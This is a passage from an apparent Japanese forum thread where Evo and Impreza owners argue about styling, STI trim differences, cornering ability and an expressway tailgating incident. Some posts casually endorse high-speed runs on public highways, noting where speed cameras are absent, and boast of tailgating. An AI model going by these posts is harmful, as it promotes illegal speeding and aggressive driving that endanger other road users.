つまりRX-7にミニバンのボディ被せればいいんだな
789 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:39:26 ID:2GbN0WLo0
>>788
すげえ
天才
790 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:44:28 ID:wA1CKeKh0
　　　　　　　　　　 ,..-─‐-..､
　　　　　 　 　 　 /.: : : : : : : .ヽ
　　　　　　　　　 R: : : :. : ｐq: :i}
　　　　　　 　 　 |:.i} : : : :_{: :.ﾚ′ 　　>>789　小僧が！
　　　　　　 　 　ﾉr┴-＜]]: :j|
　　　　　　　　/:r仁ニ= ﾉ:.ﾉ|! 　 　 　 　 　 _
　 　 　 　 　 /:/　＝　/: :/ }!　　　　　 　　|〕）　
　　　　　　　{;ﾊ＿＿,ｲ: :f　 |　　　　　 　／´ 　ﾍﾟﾁｯ
　　　　　　 /　　　　　}rﾍ　├--r─y／
　　　　　／　　　　　r'‐-|　├-┴〆　　　　_, ､_ 　'⌒　☆
　　　 　 仁二ﾆ_‐-イ　　|　｜　　　　　　∩`Д´)　
　　　 　 | l　i　　厂 ￣ニﾆ￢　　　　　　ﾉ　　⊂ﾉ　
　　　 　,ゝ､ ＼　＼ 　 ＿＿厂`ヽ　 　 （__￣） ）
　　 　 /　/＼_i⌒ﾄ､_　　　ノrr-　}　　　　 し'し′
　　　└-'￣.　|　 |＿二二._]]]]__ノ
791 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 20:00:07 ID:l2TTd4Ih0
おまいら。だったら素直にエスパスF1買えって。
ttp://video.google.com/videoplay?docid=-3850744931305559724&q=renault
漏れはエボに乗ってるけど、こいつがバックミラーに写ったら
即効で道譲るお。
792 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 20:32:30 ID:2GbN0WLo0
>>791
７００馬力エンジンつんですげえと思ったけど
０～９８キロ加速、６秒
最高時速２８８キロとかだから
３００馬力程度の俺のGF8でもまともな勝負になるよ
793 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 21:58:02 ID:Nz/1B3iNO
>>784
別に勝てなくていいよ。
っつーか俺のはM3だから勝てるか？
それにしてもあのウイングはダサイ…恥ずかしい…
かっこいいと思っているなら、センス0だな…
794 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 22:06:50 ID:OUm5kw2D0
>>793
エボⅥのエアロに一目惚れして購入した漏れが来ましたよ
795 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 22:13:47 ID:I9DW5pI20
>>794
おっぱいマニア乙
796 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 22:34:51 ID:puq2hlBq0
>>795
なんで？？
797 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 22:36:08 ID:AdI3hpLY0
>793
748は特にミニバンって言ってるじゃん
なんでＭ３がでてくんだ？
798 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 22:37:09 ID:AdI3hpLY0
>796
エボ６は美乳ですよｗ
799 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 22:39:07 ID:OYlDPXY2O
乳首ステッカーを貼ってやるぅ～
800 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 22:59:38 ID:eM1hYm9W0
でもさ、GC時代のインプってかなりおとなしめのエアロじゃないか？
801 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 23:02:21 ID:V6xNrcOz0
最初はおとなしいけど後ろに行くとヤヴァいと思うのですが
802 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 23:11:29 ID:rcBRjZs10
>>801
STiVer.Ⅵのエアロに一目惚れして購入した漏れが来ましたよ
803 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 00:12:38 ID:JMSDbGfA0
Ⅵ糊だが、おっぱいなんかより
左側にしか付いてないオイルクーラーのアウトレット、
オフセットされたプレート位置の非対称なデザインに惚れた。

余談だがGC8の5と6の違いがわからん。
804 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 00:18:01 ID:JMSDbGfA0
↑右側の間違いだった・・・
805 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 00:32:47 ID:i58kBK2R0
>>803
素STIならフロントリップが付いている方がG型だよ。
STIRAリミティッドは、レイズのホイールはいてるよ。
RAは外見からは区別できないね。リヤのウインドガラスが薄くなってる位かな。

WRXは知らないよ。
806 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 00:35:29 ID:i58kBK2R0
まだあった。GのリヤスポはＦと少し形状違うよ。

807 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 00:53:58 ID:JMSDbGfA0
GC8のWRXも280PSだったがSTiとの違いは実際どうだったの？

はたからみてたらWRXでもいいじゃんと思ってたが。
808 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 01:07:49 ID:pLUGRSZY0
>>807
ＳＴＩよりほんの気持ちブースト抑えてたんじゃないかな。
あとはブレーキとＩＣダクトが違うくらいかな。大して変わらないよ
809 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 01:11:45 ID:E3Pqn+PCO
>>803
左右非対象といえばTMEの方が…（ｒｙ
Ⅵといえばやっぱりｵﾊﾟｰｲwww でもⅥ好きだなぁ。
810 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 01:13:39 ID:+GocOuwk0
全然違うよ
ノーマルWRXでも十分速いわけだがな
811 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 01:19:20 ID:X/omor7d0
>>807-808
STIは各種オイルの交換時期が普通のWRXの約半分
例えばミッションオイルはWRXなら確か40.000kごと交換だけど
STIだと20.000kで交換しなきゃならない

GCの話だけどな。それ以降は知らない
812 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 01:32:05 ID:gkAqEmaZ0
>>807
それとピストンね
813 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 11:12:26 ID:KWI2PMcX0
>>807
エンジンの細かいところやら、本気で走ろうと思えば大がかりな交換が必要なパーツが
色々最初からＳｔｉ製強化パーツに変更されていた

普通に町海苔ならどうでもいいレベルだがｗ
814 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 13:09:40 ID:ZnQqxgxS0
>>807
町海苔試用にすべて耐久性のあるパーツなんだよな？そうだよな？

そんな俺は非Sti海苔

12万キロ　エア風呂とタイヤ交換のみ



815 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 13:32:37 ID:i58kBK2R0
>>814
違うよ、例えばピストンなどは、ＳＴＩは鍛造、ＷＲＸは鋳造製という事から判るとおり、
チューニング後の耐久性は段違だよ。
まあ、ノーマルブースト町乗りで乗っている分には、関係ないけどね。
816 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 13:52:05 ID:ZnQqxgxS0
すべてレース用ってことだろ？

俺のはすべて待ち載り陽
817 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 14:13:19 ID:mMzfPFTWO
鋳造のほうが、材料表面の黒鉛に
微量のオイルが染み込んで磨耗が少なかったりする
818 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 14:54:59 ID:Zt3neBty0
ノーマルWRXの話では現行型よりGC8が速かったんだろうな。
現行は250PS止まりだし。
惜しい車を亡くした。

現行ノーマルWRXにレガシィ用のEJ20載せて
レガシィにはEJ25積めば良いと思う。
819 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 18:31:02 ID:ZnQqxgxS0
ちなみに俺の非Sti(GC8F)はマフラー交換（メインパイプ）のみで

最高速267km/hだ。
820 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 18:40:57 ID:z14EJMV10
十分過ぎる。
俺のは、250前後が限界らしい。
出したことないし180までしか目盛りないし・・・
821 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 18:41:37 ID:I3BzTk5r0
>>819
ちょっと署まで来い

ｂｙ　ぴーぽ君
822 ：WRXワゴン：2006/02/14(火) 19:25:43 ID:82dyxbd00
オラのC型非STIは旧FISCOストレートエンドデジタルメータ読みで212Km/H。
な、情けなや...........

でも212Km/Hだと6400回転。レッドは7000。タレもあるし回転数的に無理。Orz
同型STIだとレッドが8000回転。240Km/Hまでは楽に行くかもしんない。
（高速道路だともっと楽だろね。ピーポ君は怖いけどw）
823 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 20:54:50 ID:utLU4JJu0
とにかくダサイよなエボインプって
これだけは全国６０００万女子が賛同してくれる意見だと思うね
824 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 21:37:34 ID:HP7lRgGb0
>>819
タイヤ外径狂ってるか、脳内か？そんな出るわけないだろ
３５０馬のＧＣ８でもそんなのでないのに。
825 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 22:04:02 ID:eSAjZzVp0
そんなにもてたけりゃステップDQNにでも乗れよ（｀´）
826 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 22:06:06 ID:HMF9vBA30
>>823
おまえの顔や服装よりダサクないから安心しろ
827 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 22:08:55 ID:1nCi1AkW0
>>823
娘がかっこいいと言ってくれたからそれだけで十分。
嫁は見た目はともかく、乗り心地にゲンナリしてるが。
828 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 22:21:59 ID:eSAjZzVp0
そもそも、この車はお客を乗せる車ではありませんさようなら。
829 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 22:24:56 ID:X/omor7d0
>>821
サーキットでは法定速度適用されませんよピーポ君
830 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 23:13:40 ID:i58kBK2R0
>>824
そう思うよ。
ＧＣ８のギヤ比とタイヤ外径だと230ｋｍ／ｈが良いところのはずだよ。
RAのギヤ比だと220ｋｍ／ｈも行かないはず。
831 ：名無しさん＠そうだドライブへ行こう：2006/02/14(火) 23:50:49 ID:eQ3zWmD+0
なんだかな
832 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 00:28:22 ID:SfRLzsCL0
>>819
詳しく
833 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 00:35:49 ID:gHplzrEI0
関越でエボにあおられました。
こっちはトッポだし、前に車いるし。
ブレーキ踏んで「あおるんじゃねぇ」と警告したら
左から幅寄せしてきて逃げ去りました。
っていうか、エボでトッポあおるってのは・・・
ちらっとみえた運転者の顔は１００％アキバ系ですた。
どうせならフルスモのベンツとかエルグランドあおれよ。
なんか弱いものイジメしてる感じ。

こういうことするからスポーツ系の車全体が悪く見られるんだよな。
まぁ、ホンダ系にもこういうのいるけどね。
834 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 01:25:47 ID:UO/V12kF0
伝説の地、関越ですか。そうですか
835 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 07:56:54 ID:AUVQg5+s0
おはようさん。819だが。

230までは余裕で出るだろ。
そこからは時間がかかる。
デジタルメーター読みだが。回転数は余裕がないので見ていない.

タイヤサイズもノーマルだぞ。250を超えると顔がゆがむ思いをするがな。
ためしてみな。みんなのも出るはずさ。
クロスだと無理だというが。
836 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 09:31:20 ID:XQP8HZVg0
>>830,835
理論上では5速7727rpmで267km/h出る計算だな。
RA/Rなら同ギヤ同回転数で243.17km/h。

排気系交換のみのライトチューンでも出せない数字じゃないが、出せるコースがあまりないよな。
837 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 09:31:47 ID:wOGxCCoM0
>>833
わざわざエヴォ海苔を挑発する行為自体がＤＱＮ丸出しだなｗ
そもそもトッポで追い越し車線なんか走って良いのかよ？

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　（　´,_ゝ`）ﾌﾟｯ
838 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 09:45:10 ID:Ad/j2Mtx0
エボインプってスポーツカーに分類されないんですか？
839 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 11:15:25 ID:IO8IkzVx0
>>833
>ブレーキ踏んで「あおるんじゃねぇ」と警告したら
>左から幅寄せしてきて

>左から


つまり追越車線をﾁﾝﾀﾗ走ってたって事だよな？
840 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 11:22:26 ID:j58PxcFV0
>>839
＞前に車いるし
841 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 11:26:35 ID:IO8IkzVx0
>>840
実際の現場の状況が見えないので何とも言えんが、
左から抜かれると言う事は走行車線が空いてるという事だろう。

追いつかれたら譲れば済む事じゃないのか。
842 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 11:30:02 ID:j58PxcFV0
>>841
＞実際の現場の状況が見えないので何とも言えんが
843 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 11:37:05 ID:IO8IkzVx0
だから確認してるんだが？
844 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 11:45:03 ID:j58PxcFV0
>>843
つ余計なお世話
845 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 12:14:43 ID:IO8IkzVx0
>>844
おまえがな
846 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 12:19:04 ID:HIK+ORP40
>>844はトッポ乗り本人か？
そうじゃないなら余計な世話なのはおまえだろ
847 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 13:11:15 ID:uYOZmNqX0
>>833
お前が退いてくれればその前の車も煽ってどかすんだよｗ
お前が悪い
848 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 13:18:05 ID:HNI3OyLT0
街乗りで煽る煽られるってアホか
849 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 14:04:40 ID:k9Cls/F30
トッポ必死だなｗ
850 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 14:07:06 ID:NqQatZGx0
さっきから、ｲﾝﾎﾟ･ｲﾝﾎﾟって！
朝立ち位するわい！
851 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 14:38:44 ID:IO8IkzVx0
>>847
俺はトッポに質問してる側なんだがｗ
852 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 14:39:25 ID:IO8IkzVx0
うは、間違えた。ｽﾏﾝ。
853 ：名無しさん＠そうだドライブへ行こう：2006/02/15(水) 17:42:02 ID:upwEVnQd0
関越は3車線区間もあるからなんともいえんな
854 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 00:42:10 ID:KTJQe+Cv0
トッポに乗ってた後輩が三菱から無償修理のハガキが来たと嬉しそうにはしゃいでいたが
そのリコール箇所はなんとブレーキラインの設計ミスでフルードが漏れ出し、最悪の場合
ブレーキが効かなくなるという内容だった・・・サラッと書く内容かそれ？((；ﾟДﾟ)ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
855 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 01:15:33 ID:Bcv3wlN80
>>835
http://www.testarossa.jp/utility/gear.html
もしかしてここで計算した？

>>836
つ【伊勢湾岸】
つ【アクアライン】
856 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 01:27:00 ID:0fA5hIyk0
>>854
リコールってそんなモンでしょ。
最悪の場合燃えるとかエンジンが止まるとかサスが折れるとかあるよ。
857 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 01:36:12 ID:FVSKEmTe0
うお。
トッポ本人です。
状況説明します。
真ん中をぬふわくらいでがんばってたら、前方にトラックを発見。
減速すると、再加速はしんどいので、追い越すことに。
ここで後方にはエボの姿はなし。
前方には大体４０～５０メーター先に大体同じくらい（ぬあわくらい）で走る
乗用車（多分カリーナかコロナだったと思う）。抜いたトラックの先には、
トラックと同じ位の速度の車が連なっていた。
まぁ、前の車と同じくらいの速度で走っているし、
真ん中戻るにもなかなか狭い空間に割り込まないといけないので、しばらくそのまま走行。
ふとルームミラーを覗くとメーターはぬうわに近いにも関わらず、追突しそうな近さのエボが・・・
前から遅れているわけでもないし、真ん中にも車いるしで成す術なし。

で、例の行動をしたわけで。
そしたら、しばらくして真ん中が空いたかと思うと、こちらが左に移る間髪入れずに左から・・・
そして目いっぱい幅寄せしてそのまま逃げ去りました。

ちなみにそのエボは前を走っていた乗用車にも同様にあおりくれてました。
挑発するつもりはさらさらないけど、そういう輩が多いよ、エボ、インプ、ホンダタイプＲ。
俺、普段は８０年代の旧車のスポーツ車乗ってるけど、ひどい時は左側走っててもあおりくれてくる時あるよ。
目立つ車だし、世間の印象も悪くなるからほんとやめて欲しい。
関係ない俺まで悪者扱いされる時もしばしば・・・・
性能のいい、かっこいい車なのはわかったから
乗り手もスマートにさらりと乗っててほしい。
858 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 01:36:14 ID:qrkvb5qq0
激しくスレ違いだが、
インプは判らないけど、エボってコーナリングマシンだよ。
ＦＲともアテーサとも只の４ＷＤとも違う。乗れば判る。
859 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 01:43:17 ID:MNnjkY8Z0
エボもインプもコーナリングマシンじゃないよ
もう既出だと思うが
四駆にしては曲がるというだけで
エボやインプと同じ土俵で走る車と比較するとアンダー出やすいし曲がらない
やっぱ四駆のトラクションを活かした立ち上がり勝負の車でしょ
860 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 02:57:14 ID:NhxSNYaF0
インプ、エボがコーナリングマシンな訳がない
そんな事ほざくやつは免許持ってない少年だべ。
859も言ってるように立ち上がりの加速で詰めてく車だ。
861 ：WRXワゴン：2006/02/16(木) 10:00:51 ID:ImWU7lCz0
>>859-860
立ち上がりも含めてコーナーワークと考えると、どうなんでしょ？

漠然とした理由ですが、同タイムでストレートスピードが似たFR車のオーナーを見てると、
客観的にうまい方が多く、「車に助けられてるよな～」って感じがしちゃうんですよ。

突っ込みで詰め、ターンインで離され、中間から詰めよってストレートは似た感じ。それ
ゆえ同タイム。ターンインに技術が集中するけど、中間からは「あ、前の人苦労してるよ
なー」って感じがただよいます。こちらはアクセルほとんどベタ踏みでスピン無縁ですし....

「ストレートが似た車」を相手にした例ですので、コーナーが不利な車ならヘボを相手に
同タイムであるハズですが、そうは思えないんですよね。
862 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 10:29:46 ID:ltkCT4Wz0
>>855
田舎者故よく知らんのだが、伊勢湾岸よかアクアラインって速度制限ねーの？
863 ：昨日のID:IO8IkzVx0：2006/02/16(木) 11:39:37 ID:7flFXLNw0
>>857
そうか、ならおまいさんに落ち度は無いな・・・
状況を確認したかっただけなので、気にしないでくれ。
864 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 12:39:09 ID:ffGpg1C80
>>857
＞で、例の行動をしたわけで。 ってよ～・・・


そのエボもそうだが、お前も空気嫁ないＤＱＮだな。
当然トッポはＡＴなんだろ（　´,_ゝ`）ﾌﾟｯ
865 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 13:36:56 ID:vYDBgpCI0
要するにＧＴ－Ｒに乗れば問題ないっ！
不思議でしょうがないんだが、どうしてＢＣＮＲ３３に
乗らないのか？非常にコストパフォーマンスが良いんだが。
中古で２３０で買える。非常にいい時代だ。
866 ：WRXワゴン：2006/02/16(木) 13:43:36 ID:ImWU7lCz0
>>865
最終型ギリギリのいいヤツが手に入ったとしても8年落ち。実際は10年落ち位？
4年持たせると最後は14年落ち？　飛ばすっつーか大事に乗ってあげないといかん
年齢ってトコが問題ですな。
867 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 14:53:29 ID:swWy/Omf0
じゃあBNR34乗ってる俺は勝ち組だな。



脳内だけど。
868 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 15:33:08 ID:7flFXLNw0
脳内ならもっとｲｲ車に乗ったほうがよくないか？
869 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 15:37:02 ID:RYTnn+yYO
脳内でカウンタック乗ってる
870 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 17:07:17 ID:o5uDb0Yh0
>>861
コーナーリングマシンってのは、コーナーで最もスピードが落ちる所のスピードが速い車の事
仮にクリッピングが一番速度の落ちる所としよう
エボインプのクリッピングの速度は、S2KやFDなどに比べて明らかに遅い
そこからの加速勝負な車であって、決してコーナーリングマシンではないよ
仮にエボインプがS2Kと同じエンジンであったらどうでしょう？
はたしてコーナーリングマシンと呼べるでしょうか？
871 ：870：2006/02/16(木) 17:09:18 ID:o5uDb0Yh0
たとえが悪かったかな？
言い換えます
アクセルを踏めない長いコーナーで果たしてエボインプは速いでしょうか？
872 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 17:40:43 ID:0sdj3/9A0
>>861
どっからそんな結論がでるんだよwwww
立ち上がりがなんでコーナーワークなんだよwww
帰ってゲームでもやってろよwww
873 ：WRXワゴン：2006/02/16(木) 17:48:23 ID:ImWU7lCz0
>>870
コーナリングマシンでパっと浮かぶのはロータスエリーゼですから、そのイメージ
は理解してるんですよ。理想的荷重配分、軽量、ローフォルム、容量のあるタイヤ。
前荷重のあるセダンベース車の苦手な分野。コーナーで言うとFISCO 100Rですな。

脱出も含めたコーナー全体の優越を表現する日本語で苦労してるって感じです。
874 ：名無しさん＠そうだドライブへ行こう：2006/02/16(木) 19:30:08 ID:YeXKlVbi0
なんかエボ印譜が鈍足車だと勘違いしてないか？
875 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 01:15:58 ID:dwRewi5r0
>>873
同じインプ乗りだが恥ずかしいからコテ付けてやめてくれ
後輪駆動で車重軽い方がコーナーに飛び込める速度は高いに決まってる。

立ち上がりまで含めてコーナリングマシンなんて思ってる奴は殆どいない。
876 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 01:40:09 ID:1nI8dpUS0
＞脱出も含めたコーナー全体の優越
それを言ったらどんな車だってコーナリングマシンになってしまうだろうに
言ってる事が根本的におかしい
877 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 05:12:21 ID:jhs1AfHt0
お前らってどうでもいい話ばかりしてるよな
878 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:11:23 ID:/rq9mcBN0
コーナーリングマシンってのは
例えば２０００CCでタイヤが４つあってって素体を
どう仕上げていくかって話なんじゃ？

軽さ重視でターボも付けない
直進安定性より回頭性重視でホイールベースは短くとか

エヴォはもともと立ち上がり重視のマシンを
電子制御でﾑﾘｸｿ回してるだけで
素性を語ったらコーナーリングマシンとはいえないと
思うがな
879 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:25:36 ID:c4LBYn3T0
エヴォっていうな。
エヴァみたいなキモいアニメを想像する。
880 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:28:55 ID:kfqVwc/F0
4輪駆動は回りにくいという噂
881 ：WRXワゴン：2006/02/17(金) 13:31:21 ID:0BxxeM0E0
>>878
上でも書いたけど、その分野の最高峰と言うと、やはりロータスエリーゼでしょうな。
全高１ｍちょいのアルミボディミッドシップ車で、車重は600Kg以下。
これに前後ダブルウィシュボーンサスを組み合わせ、NA180PSの心臓を装備。

>>861の話はシロート走行会で同タイム車と競ってる時の漠然とした感想ですし、
エボインプは最強のコーナリングマシンとか言う気は毛頭ないので忘れてください。
882 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:32:26 ID:NQam47YUO
コーナリングっても様々だしなぁ
NSX-Rなんかはニュルみたいな4速ベタ踏みで右に左に切り返すようなコーナーばかりのコースは速いし
エボは日本のサーキットみたいな加速減速を繰り返すコースが速い
鈴鹿の130Rなんかだと国産最速はEK9とか言われてるし
得意不得意はあるよね
883 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:35:45 ID:NQam47YUO
エリーゼはイジると速いみたいだけどノーマルは大した事ないみたいだね
鈴木アグリだか片山右京だかが試乗して
エンジンはｼｮﾎﾞいし剛性も無いしこのクルマは何がやりたいのか分からないって言ってた
トミーカイラZZはベタ誉めしてたけど
884 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:36:34 ID:vaqaLbTf0
●ヽ(´･ω･`)●
●ヽ( ･ω･｀)ﾉ●
●ヽ(･ω･｀ﾉ●
　　(ω･｀●
　　(･｀●)
　　(●ヽ　)
　●ヽ　　)●
●ヽ(　　　)ﾉ●
●ヽ(　　　)ノ●
●ヽ(　　´)ﾉ●
　　(　´･●
　　(　ﾉ● )
　　( ●´･)
　　●ヽ´･)
　●ヽ´･ω)
`●ヽ´･ω･)
●ヽ(´･ω･`)●
●ヽ(´･ω･｀)ﾉ●
885 ：WRXワゴン：2006/02/17(金) 13:41:52 ID:0BxxeM0E0
>>880
回りにくいと言うより回しにくいと言う感じです。主にターンインで苦労します。
FRであればスピンモードになる位の荷重移動が丁度いい感じでして、リアが振られ
ている状態をアクセルオンで制御する方法が良い感じです。

>>882
ミニサにありがちな、どーんと来て、それ加速うぅっつーコーナーが得意って所が
>>861の印象になってるのかもしれませんね。
886 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:41:52 ID:o6TUDa5C0
>862
俺も田舎者だからアクアラインはどうか知らないけど
伊勢湾岸は直線も多く、ｵｰﾋﾞｽも無く、深夜ともなると
走行している車が皆無に等しい。
という、好条件により最高速ｱﾀｯｸに向いてますよー。ってな話。

速度制限はもちろんあるのでもし捕獲された時は南無ですが。
伊勢湾岸では今の所、覆面は見たことないです。
887 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:45:04 ID:NQam47YUO
ミニサーキットだとジムカーナの本チャンエボとかは別格に速いけど
他はクルマの差はあまり出ないね
888 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 13:48:54 ID:NQam47YUO
速いエボとか見てると完全にFFっぽい動き
後輪の駆動は補助的っつーか
889 ：WRXワゴン：2006/02/17(金) 13:57:55 ID:0BxxeM0E0
>>888
特に複合はFFに近い運用です。
最初のコーナー通過でアンダー。アクセル全閉でタックインさせて巻き込ませ、
アクセル全開と微カウンターで巻き込みを止めて加速しながら脱出って感じです。

うまい方はメリハリがしっかりしてるのでFFみたいに見えちゃいますな。
890 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 15:01:13 ID:eFQmgEg60
アテーサも立ち上がりのためにあるようなもんだからな。
FRでも4WDでもないGT-Rと言う駆動方式そして乗り方があると言われるくらい、便利でもあり不便でもあった。

結局レースではFRになっちゃったけど。
891 ：名無しさん＠そうだドライブへ行こう：2006/02/17(金) 15:08:16 ID:NQam47YUO
アテーサはターンインが素直なAWDにしたかったんだよ
タイヤその他の進歩で今となっては時代錯誤なシステムだけど
レースはまた別、極太スリックタイヤや強力なダウンフォースが使えるからAWDにメリットがない
892 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 07:04:20 ID:I/+7QyYl0
10年前のDTMでも似たような現象だったな。
２WD＞４WD
893 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 08:03:06 ID:WTEXivNJ0
後続車がエボ・インポってなってるから公道の話かと思ってたら、サーキットでもありえる話だな。
自分の方が遅そうだったら素直に道譲れよなー、そこの
894 ：WRXワゴン：2006/02/18(土) 09:34:13 ID:RHym3chg0
>>890-892
レースはレギュレーションで決まっちゃう所があるのでよ～わからんですな。

旧グループAのように、最低重量規定が重めだと2WD車にウェイト積むなんて
コトをして4WD有利になっちゃいますし、今のGT選手権のように馬力制限が
あって4WD車のウェイトハンデがあるとインプやGTRをFR車に改造して参加
しだす訳ですし......

ま、ノーハンデでやりたい放題だと、４ローターとかガスタービンあたりが
最強だろけど。
895 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 11:28:00 ID:Sw9ls1Ft0
こいつはいつまでスレ違いの話を続けるのか
インプ乗りのコテはきもいのしか居ないな
896 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 12:09:36 ID:Tsd5AU3FO
公道、悪路の王者は四駆
897 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 15:02:41 ID:yLRZUvZhO
悪路の王者はトライアルバイク
898 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 15:16:54 ID:Tsd5AU3FO
公道、ウェット路、悪舗装路、ダート、スノー路の王者は四駆
899 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 15:19:01 ID:ZyTZWK+Q0
土曜昼だからみんなドライブ行ってるんだろうなあ
後続車がエボでインプでアリストでありますように
900 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 15:49:33 ID:jsv+xmPn0
>>895
同じインプ乗りとして謝っときます、すんません
901 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 17:41:19 ID:evjeoBTl0
95 名前：名無しさん＠６周年 ：2006/02/18(土) 17:34:38 ID:XVmN6R9b0
>>91
俺おととし某ﾍﾞﾝｼのディーラに自慢のGT－●で突っ込んだのよ。
運悪く任意未加入の状態で事故ったけど、並んでたS６○○とかSLKとかｹﾞﾚﾝﾃﾞﾊﾞｰｹﾞﾝとかにはかすりもしなくて
ガラス代２０００万円だけでなんとかなったぉ
良心的なディーラで月々５万円の分割払いにしてもらってる。
902 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 17:48:06 ID:awv0+lTo0
↑なぜ突っ込む。
903 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 17:57:23 ID:nfvFXQA40
>>902
自慢のGT-1だったから
904 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 20:19:17 ID:wlbGQe0J0
トヨタGT-ONEストリートバージョンか
905 ：名無しさん＠そうだドライブへ行こう：2006/02/18(土) 21:59:48 ID:kcOXZW0g0
２０００万、月５万なら利息だけで一生終わるな
906 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 00:24:56 ID:Q33E3muV0
STI3に乗ってた時はよく前の車煽ってた
「インプ様のお通りだぜ」って

今はE46に乗ってるんだがインプ・エボも煽ってこないなあ
907 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:35:07 ID:MbJknhTp0
今日自分の前をエボ8MRが走ってたんで、
